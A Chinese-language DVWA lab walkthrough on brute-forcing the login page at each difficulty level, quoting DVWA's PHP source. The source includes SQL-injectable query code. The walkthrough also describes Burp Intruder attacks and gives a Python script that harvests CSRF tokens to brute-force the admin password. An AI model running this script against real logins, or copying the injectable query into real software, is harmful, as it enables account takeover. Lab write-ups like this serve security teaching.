1. 程式人生 > 實用技巧 >DVWA 通關指南:Brute Force (爆破)

DVWA 通關指南:Brute Force (爆破)

目錄

Brute Force (爆破)

Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.
Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, family names, any too short password (usually thought to be less than 6 or 7 characters), or predictable patterns (e.g. alternating vowels and consonants, which is known as leetspeak, so "password" becomes "p@55w0rd").
密碼破解是從計算機系統中儲存或傳輸的資料中還原出密碼的過程,一種常見的方法是反覆嘗試猜測密碼,直到把正確的密碼試出來。使用者往往會設定弱密碼,不安全選擇的例子包括字典中的單字、姓氏、任何太短的密碼(通常被認為少於6或7個字元)或可預測的模式(例如,交替的母音和子音,稱為 leetspeak,因此 “password” 變成了 p@55w0rd")。
Creating a targeted wordlists, which is generated towards the target, often gives the highest success rate. There are public tools out there that will create a dictionary based on a combination of company websites, personal social networks and other common information (such as birthdays or year of graduation).
A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always be successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords making the attack time longer.
建立一個面向目標的字典來重複測試,通常會獲得最高的成功率,有一些公共工具可以根據公司網站、個人社交網路和其他常見資訊(如生日或畢業年份)建立詞典。最後的辦法是嘗試所有可能的密碼,即暴力攻擊。理論上如果不限制嘗試次數,暴力攻擊總是成功的,因為可接受密碼的規則必須是公開的;但是隨著密碼長度的增加,可能的密碼數量也會增加,使得攻擊時間更長。

Your goal is to get the administrator’s password by brute forcing. Bonus points for getting the other four user passwords!

Low Level

The developer has completely missed out any protections methods, allowing for anyone to try as many times as they wish, to login to any user without any repercussions.
開發人員完全忽視了任何保護方法,允許任何人嘗試多次任意訪問,可以在沒有任何影響的情況下對任意使用者進行登入。

原始碼審計

原始碼如下,程式碼將獲取使用者輸入的使用者名稱和密碼並將其進行 md5 加密,然後使用 SQL SELECT 語句進行查詢。由於進行了 md5 加密,因此直接阻止了 SQL 注入,因為經過 md5 這種摘要演算法之後 SQL 語句就會被破壞(不過這裡用 SQL 注入可以登陸成功)。注意到此時伺服器只是使用了 isset() 函式驗證了引數 Login 是否被設定,引數 username、password 沒有做任何過濾,更重要的是沒有任何的防爆破機制。

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

滲透方法

使用管理員使用者 admin 登入,密碼隨便輸入,提示密碼錯誤。

開啟 burp 抓包,然後把包傳送給測試器,選擇 password 為有效負載,在狙擊手模式下進行攻擊。若無法抓本地的包,參考這篇部落格解決。

使用字典進行爆破,等上一會兒就能爆破出密碼,使用爆破出的密碼就能登入。

Medium Level

This stage adds a sleep on the failed login screen. This mean when you login incorrectly, there will be an extra two second wait before the page is visible.This will only slow down the amount of requests which can be processed a minute, making it longer to brute force.
此階段在驗證失敗的登入螢幕上新增睡眠,這意味著當您登入不正確時,在頁面可見之前將有額外的兩秒鐘等待。這隻會減慢一分鐘內可處理的請求量,使暴力攻擊的時間更長。

原始碼審計

原始碼如下,Medium 級別的程式碼主要增加了 mysql_real_escape_string 函式,該函式會對字串中的特殊符號進行轉義,從而對使用者輸入的引數進行了簡單的過濾。相比 low 級別的程式碼,當登入驗證失敗時介面將凍結 2 秒,從而影響了爆破操作的效率,不過如果是一個閒來無事並且很有耐心的白帽黑客,爆破出密碼仍然是時間問題。

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

滲透方式

和 low 級別一樣,還是用 Brup 抓包後爆破即可,只是因為每次測試都要等上 2 秒,需要等稍長的時間而已。

High Level

There has been an "anti Cross-Site Request Forgery (CSRF) token" used. There is a old myth that this protection will stop brute force attacks. This is not the case. This level also extends on the medium level, by waiting when there is a failed login but this time it is a random amount of time between two and four seconds. The idea of this is to try and confuse any timing predictions.Using a CAPTCHA form could have a similar effect as a CSRF token.
開發者使用了 “CSRF” 的反偽造請求,有一箇舊的說法表示這種保護可以阻止暴力攻擊,但事實並非如此。這個級別也擴充套件了中等級別,在登入失敗時等待,但這次是 2 到 4 秒之間的隨機時間,這樣做的目的是試圖混淆任何時間預測。使用驗證碼錶單可能會產生與 CSRF 令牌類似的效果。

原始碼審計

High 級別的程式碼使用了stripslashes 函式,進一步過濾輸入的內容。同時使用了 Token 抵禦 CSRF 攻擊,在每次登入時網頁會隨機生成一個 user_token 引數,在使用者提交使用者名稱和密碼時要對 token 進行檢查再進行 sql 查詢。

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

我們來寫一段 Python 指令碼把網頁爬下來看看,指令碼如下觀察到 user_token 引數確實是每次提交都是不一樣的。

import requests
from bs4 import BeautifulSoup

r = requests.get("http://localhost/dvwa-master/vulnerabilities/brute/?username=admin&password=123&Login=Login&user_token=2e7b48d4765d38973ef827ee9786a05e#")
demo = r.text
soup = BeautifulSoup(demo,'html.parser') 
print(soup.prettify())

滲透方式

由於 user_token 引數值是網頁實時生成的,因此我們不能直接選擇 password 的引數值進行爆破,而是應該先提取需要提交的 user_token 引數再來進行爆破。所以滲透的思路是,先把網頁爬下來提取 user_token 的引數值,然後再每次爆破時夾帶變化的 user_token 值進行測試。
比較好的選擇是用 Python 寫個指令碼,首先建立個字典物件,裡面用鍵值對預存一些 HTTP 包的欄位值。將 Python 網路爬蟲的 requests 和 BeautifulSoup 庫包含進來,先用 requests 把網頁爬下來,然後用 BeautifulSoup 庫提取 user_token 的值。最後寫個迴圈,把提取下來的 user_token 和已經準備好的字典上交,根據爬取頁面的返回的文字總長度來判斷是否是需要的密碼。

import requests
from bs4 import BeautifulSoup
 
header = {      #HTTP 包的一些頭,加上自己的欄位值
    'Host': '',
    'User-Agent': '',
    'Accept': '',
    'Accept-Language': '',
    'Accept-Encoding': '',
    'Connection': '',
    'Referer': '',
    'Cookie': ''
    }

url = ""      #DVWA 靶場的 Brute Force 頁面的 URL
 
def get_token(url,header):      #輸出上一次爆破的結果,並提取下一個 user_token
    r = requests.get(url = url,headers = header)      #爬取頁面
    print (r.status_code,len(r.text))      #判斷是否成功爬取,及其返回頁面的文字長度
    soup = BeautifulSoup(r.text,"html.parser")      #用 BeautifulSoup 庫清洗返回的 HTML
    input = soup.form.select("input[type = 'hidden']")      #在 HTML 中查詢字串,返回一個 list
    user_token = input[0]['value']      #獲取使用者的 token
    return user_token
 
user_token = get_token(url,header)      #第一次爆破
num = 1
for line in open("爆破字典.txt"):      #匯入爆破用的字典
    url = "http:(頁面的 URL)?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
    print (num , 'admin' ,line.strip(),end = "  ")
    num = num + 1
    user_token = get_token(url,header)

例如這個是我用我生成的字典進行爆破的結果,觀察到第 5 次爆破返回的 HTML 長度與其他的都不同,說明它就是我們想要的密碼。

Impossible Level

Brute force (and user enumeration) should not be possible in the impossible level. The developer has added a "lock out" feature, where if there are five bad logins within the last 15 minutes, the locked out user cannot log in.
暴力(和使用者列舉)不應該在該級別的程式碼上實現,開發人員增加了一個“鎖定”功能,如果在過去 15 分鐘內有5次錯誤登入,被鎖定的使用者將無法登入。
If the locked out user tries to login, even with a valid password, it will say their username or password is incorrect. This will make it impossible to know if there is a valid account on the system, with that password, and if the account is locked.
如果被鎖定的使用者試圖登入,即使使用了有效的密碼,也會顯示他們的使用者名稱或密碼不正確。這將使我們無法知道系統上是否有一個有效的帳戶、密碼以及該帳戶是否被鎖定。
This can cause a "Denial of Service" (DoS), by having someone continually trying to login to someone's account. This level would need to be extended by blacklisting the attacker (e.g. IP address, country, user-agent).
這可能會導致“拒絕服務”(DoS),因為有人不斷嘗試登入某人的帳戶,因此需要通過將攻擊者列入黑名單(例如 IP 地址、國家/地區、使用者代理)來擴充套件此級別。

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

參考資料

新手指南:DVWA-1.9全級別教程之Brute Force
DVWA之Brute Force(暴力破解)